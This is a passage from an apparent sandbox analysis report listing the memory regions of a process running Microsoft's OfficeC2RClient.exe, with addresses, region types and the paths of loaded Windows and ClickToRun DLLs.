"pagefile_0x0000000000040000" filename = "" Region: id = 1638 start_va = 0xb0000 end_va = 0x1affff entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 1639 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1640 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1641 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1642 start_va = 0x13fe30000 end_va = 0x140e72fff entry_point = 0x13fe30000 region_type = mapped_file name = "officec2rclient.exe" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe") Region: id = 1643 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1644 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1645 start_va = 0x7fffffd8000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 1646 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1848 start_va = 0x2d0000 end_va = 0x3cffff entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 1849 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1850 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1854 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1855 start_va = 0x1b0000 end_va = 0x216fff entry_point = 0x1b0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1856 start_va = 0x3d0000 end_va = 0x4cffff entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 1857 start_va = 0x540000 end_va = 0x54ffff entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 1858 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1859 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1860 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1861 start_va = 0x7fee5080000 end_va = 0x7fee50d0fff entry_point = 0x7fee5080000 region_type = mapped_file name = "concrt140.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll") Region: id = 1862 start_va = 0x7fee50e0000 end_va = 0x7fee5106fff entry_point = 0x7fee50e0000 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll") Region: id = 1863 start_va = 0x7fee52e0000 end_va = 0x7fee52fdfff entry_point = 0x7fee52e0000 region_type = mapped_file name = "hlink.dll" filename = "\\Windows\\System32\\hlink.dll" (normalized: "c:\\windows\\system32\\hlink.dll") Region: id = 1864 start_va = 0x7fef7a40000 end_va = 0x7fef7ab5fff entry_point = 0x7fef7a40000 region_type = mapped_file name = "apiclient.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll") Region: id = 1865 start_va = 0x7fef7b00000 end_va = 0x7fef7b02fff entry_point = 0x7fef7b00000 region_type = mapped_file name = "api-ms-win-crt-utility-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll") Region: id = 1866 start_va = 0x7fef7b10000 end_va = 0x7fef7b12fff entry_point = 0x7fef7b10000 region_type = mapped_file name = "api-ms-win-crt-environment-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll") Region: id = 1867 start_va = 0x7fef7b20000 end_va = 0x7fef7b22fff entry_point = 0x7fef7b20000 region_type = mapped_file name = "api-ms-win-crt-filesystem-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll") Region: id = 1868 start_va = 0x7fef7b30000 end_va = 0x7fef7b32fff entry_point = 0x7fef7b30000 region_type = mapped_file name = "api-ms-win-crt-time-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll") Region: id = 1869 start_va = 0x7fef7b40000 end_va = 0x7fef7b44fff entry_point = 0x7fef7b40000 region_type = mapped_file name = "api-ms-win-crt-multibyte-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll") Region: id = 1870 start_va = 0x7fef7b50000 end_va = 0x7fef7b54fff entry_point = 0x7fef7b50000 region_type = mapped_file name = "api-ms-win-crt-math-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll") Region: id = 1871 start_va = 0x7fef7b60000 end_va = 0x7fef7b62fff entry_point = 0x7fef7b60000 region_type = mapped_file name = "api-ms-win-crt-locale-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll") Region: id = 1872 start_va = 0x7fef7b70000 end_va = 0x7fef7c0cfff entry_point = 0x7fef7b70000 region_type = mapped_file name = "msvcp140.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll") Region: id = 1873 start_va = 0x7fef7c10000 end_va = 0x7fef7c13fff entry_point = 0x7fef7c10000 region_type = mapped_file name = "api-ms-win-crt-convert-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll") Region: id = 1874 start_va = 0x7fef7c20000 end_va = 0x7fef7c23fff entry_point = 0x7fef7c20000 region_type = mapped_file name = "api-ms-win-crt-stdio-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll") Region: id = 1875 start_va = 0x7fef7c30000 end_va = 0x7fef7c32fff entry_point = 0x7fef7c30000 region_type = mapped_file name = "api-ms-win-crt-heap-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll") Region: id = 1876 start_va = 0x7fef7c40000 end_va = 0x7fef7c43fff entry_point = 0x7fef7c40000 region_type = mapped_file name = "api-ms-win-crt-string-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll") Region: id = 1877 start_va = 0x7fef7c50000 end_va = 0x7fef7c52fff entry_point = 0x7fef7c50000 region_type = mapped_file name = "api-ms-win-core-file-l1-2-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll") Region: id = 1878 start_va = 0x7fef7c60000 end_va = 0x7fef7c62fff entry_point = 0x7fef7c60000 region_type = mapped_file name = "api-ms-win-core-processthreads-l1-1-1.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll") Region: id = 1879 start_va = 0x7fef7c70000 end_va = 0x7fef7c72fff entry_point = 0x7fef7c70000 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 1880 start_va = 0x7fef7c80000 end_va = 0x7fef7c82fff entry_point = 0x7fef7c80000 region_type = mapped_file name = "api-ms-win-core-localization-l1-2-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll") Region: id = 1881 start_va = 0x7fef7c90000 end_va = 0x7fef7c92fff entry_point = 0x7fef7c90000 region_type = mapped_file name = "api-ms-win-core-file-l2-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll") Region: id = 1882 start_va = 0x7fef7ca0000 end_va = 0x7fef7ca2fff entry_point = 0x7fef7ca0000 region_type = mapped_file name = "api-ms-win-core-timezone-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll") Region: id = 1883 start_va = 0x7fef7cb0000 end_va = 0x7fef7da1fff entry_point = 0x7fef7cb0000 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll") Region: id = 1884 start_va = 0x7fef7db0000 end_va = 0x7fef7db3fff entry_point = 0x7fef7db0000 region_type = mapped_file name = "api-ms-win-crt-runtime-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll") Region: id = 1885 start_va = 0x7fef7dc0000 end_va = 0x7fef7dd6fff entry_point = 0x7fef7dc0000 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll") Region: id = 1886 start_va = 0x7fef7de0000 end_va = 0x7fef7dfafff entry_point = 0x7fef7de0000 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll") Region: id = 1887 start_va = 0x7fef8360000 end_va = 0x7fef8366fff entry_point = 0x7fef8360000 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\System32\\msimg32.dll" (normalized: "c:\\windows\\system32\\msimg32.dll") Region: id = 1888 start_va = 0x7fef8b10000 end_va = 0x7fef8b8bfff entry_point = 0x7fef8b10000 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 1889 start_va = 0x7fefb730000 end_va = 0x7fefb73afff entry_point = 0x7fefb730000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 1890 start_va = 0x7fefbee0000 end_va = 0x7fefbef0fff entry_point = 0x7fefbee0000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 1891 start_va = 0x7fefc290000 end_va = 0x7fefc4a4fff entry_point = 0x7fefc290000 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\gdiplus.dll") Region: id = 1892 start_va = 0x7fefdc30000 end_va = 0x7fefdc3efff entry_point = 0x7fefdc30000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1893 start_va = 0x7fefdce0000 end_va = 0x7fefdd15fff entry_point = 0x7fefdce0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1894 start_va = 0x7fefdd20000 end_va = 0x7fefdd59fff entry_point = 0x7fefdd20000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 1895 start_va = 0x7fefddd0000 end_va = 0x7fefdde9fff entry_point = 0x7fefddd0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1896 start_va = 0x7fefddf0000 end_va = 0x7fefdf56fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1897 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1898 start_va = 0x7fefdfd0000 end_va = 0x7fefed57fff entry_point = 0x7fefdfd0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1899 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1900 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1901 start_va = 0x7feff2f0000 end_va = 0x7feff4c6fff entry_point = 0x7feff2f0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 1902 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1903 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1904 start_va = 0x7feff640000 end_va = 0x7feff6b0fff entry_point = 0x7feff640000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1905 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1906 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1907 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1908 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2264 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2265 start_va = 0x50000 end_va = 0x50fff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2266 start_va = 0x60000 end_va = 0x66fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2267 start_va = 0x70000 end_va = 0x71fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 2268 start_va = 0x80000 end_va = 0x80fff entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 2269 start_va = 0x90000 end_va = 0x90fff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 2270 start_va = 0xa0000 end_va = 0xaffff entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 2271 start_va = 0x550000 end_va = 0x6d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000550000" filename = "" Region: id = 2272 start_va = 0x6e0000 end_va = 0x860fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 2273 start_va = 0x870000 end_va = 0x92ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000870000" filename = "" Region: id = 2274 start_va = 0x930000 end_va = 0xd22fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000930000" filename = "" Region: id = 2275 start_va = 0xdc0000 end_va = 0xe3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000dc0000" filename = "" Region: id = 2276 start_va = 0xe40000 end_va = 0x110efff entry_point = 0xe40000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2277 start_va = 0x1110000 end_va = 0x120ffff entry_point = 0x0 region_type = private name = "private_0x0000000001110000" filename = "" Region: id = 2278 start_va = 0x12f0000 end_va = 0x12fffff entry_point = 0x0 region_type = private name = "private_0x00000000012f0000" filename = "" Region: id = 2279 start_va = 0x1340000 end_va = 0x143ffff entry_point = 0x0 region_type = private name = "private_0x0000000001340000" filename = "" Region: id = 2280 start_va = 0x1580000 end_va = 0x167ffff entry_point = 0x0 region_type = private name = "private_0x0000000001580000" filename = "" Region: id = 2281 start_va = 0x7fee7620000 end_va = 0x7fee76bffff entry_point = 0x7fee7620000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll") Region: id = 2282 start_va = 0x7fef3660000 end_va = 0x7fef3741fff entry_point = 0x7fef3660000 region_type = mapped_file name = "d2d1.dll" filename = "\\Windows\\System32\\d2d1.dll" (normalized: "c:\\windows\\system32\\d2d1.dll") Region: id = 2283 start_va = 0x7fef9810000 end_va = 0x7fef98b6fff entry_point = 0x7fef9810000 region_type = mapped_file name = "dxgi.dll" filename = "\\Windows\\System32\\dxgi.dll" (normalized: "c:\\windows\\system32\\dxgi.dll") Region: id = 2284 start_va = 0x7fefc080000 end_va = 0x7fefc097fff entry_point = 0x7fefc080000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 2285 start_va = 0x7fefcd50000 end_va = 0x7fefcd5bfff entry_point = 0x7fefcd50000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2286 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2287 start_va = 0x7fefdb30000 end_va = 0x7fefdb6cfff entry_point = 0x7fefdb30000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 2288 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2289 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2290 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2291 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2292 start_va = 0x7fefa750000 end_va = 0x7fefaa65fff entry_point = 0x7fefa750000 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 2293 start_va = 0x220000 end_va = 0x220fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2294 start_va = 0x230000 end_va = 0x230fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000230000" filename = "" Region: id = 2295 start_va = 0x240000 end_va = 0x241fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2296 start_va = 0x250000 end_va = 0x257fff entry_point = 0x250000 region_type = mapped_file name = "index.dat" filename = "\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 2297 start_va = 0x260000 end_va = 0x261fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2298 start_va = 0x270000 end_va = 0x273fff entry_point = 0x270000 region_type = mapped_file name = "index.dat" filename = "\\Windows\\System32\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 2299 start_va = 0x280000 end_va = 0x283fff entry_point = 0x280000 region_type = mapped_file name = "index.dat" filename = "\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 2300 start_va = 0x290000 end_va = 0x290fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000290000" filename = "" Region: id = 2301 start_va = 0x2a0000 end_va = 0x2a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 2302 start_va = 0x520000 end_va = 0x52ffff entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 2303 start_va = 0x1260000 end_va = 0x12dffff entry_point = 0x0 region_type = private name = "private_0x0000000001260000" filename = "" Region: id = 2304 start_va = 0x1440000 end_va = 0x153ffff entry_point = 0x0 region_type = private name = "private_0x0000000001440000" filename = "" Region: id = 2305 start_va = 0x16d0000 end_va = 0x17cffff entry_point = 0x0 region_type = private name = "private_0x00000000016d0000" filename = "" Region: id = 2306 start_va = 0x17e0000 end_va = 0x18dffff entry_point = 0x0 region_type = private name = "private_0x00000000017e0000" filename = "" Region: id = 2307 start_va = 0x1910000 end_va = 0x1a0ffff entry_point = 0x0 region_type = private name = "private_0x0000000001910000" filename = "" Region: id = 2308 start_va = 0x1aa0000 end_va = 0x1aaffff entry_point = 0x0 region_type = private name = "private_0x0000000001aa0000" filename = "" Region: id = 2309 start_va = 0x1b00000 end_va = 0x1bfffff entry_point = 0x0 region_type = private name = "private_0x0000000001b00000" filename = "" Region: id = 2310 start_va = 0x1c00000 end_va = 0x1cbffff entry_point = 0x1c00000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 2311 start_va = 0x1cd0000 end_va = 0x1dcffff entry_point = 0x0 region_type = private name = "private_0x0000000001cd0000" filename = "" Region: id = 2312 start_va = 0x1dd0000 end_va = 0x2112fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001dd0000" filename = "" Region: id = 2313 start_va = 0x21a0000 end_va = 0x229ffff entry_point = 0x0 region_type = private name = "private_0x00000000021a0000" filename = "" Region: id = 2314 start_va = 0x2320000 end_va = 0x241ffff entry_point = 0x0 region_type = private name = "private_0x0000000002320000" filename = "" Region: id = 2315 start_va = 0x2440000 end_va = 0x253ffff entry_point = 0x0 region_type = private name = "private_0x0000000002440000" filename = "" Region: id = 2316 start_va = 0x77e10000 end_va = 0x77e12fff entry_point = 0x77e10000 region_type = mapped_file name = "normaliz.dll" filename = "\\Windows\\System32\\normaliz.dll" (normalized: "c:\\windows\\system32\\normaliz.dll") Region: id = 2317 start_va = 0x7fef4d40000 end_va = 0x7fef4d5bfff entry_point = 0x7fef4d40000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 2318 start_va = 0x7fef4d60000 end_va = 0x7fef4dc1fff entry_point = 0x7fef4d60000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 2319 start_va = 0x7fef6570000 end_va = 0x7fef6580fff entry_point = 0x7fef6570000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 2320 start_va = 0x7fef7190000 end_va = 0x7fef71f3fff entry_point = 0x7fef7190000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 2321 start_va = 0x7fef7200000 end_va = 0x7fef7270fff entry_point = 0x7fef7200000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 2322 start_va = 0x7fef93b0000 end_va = 0x7fef93b8fff entry_point = 0x7fef93b0000 region_type = mapped_file name = "sensapi.dll" filename = "\\Windows\\System32\\SensApi.dll" (normalized: "c:\\windows\\system32\\sensapi.dll") Region: id = 2323 start_va = 0x7fef9660000 end_va = 0x7fef9677fff entry_point = 0x7fef9660000 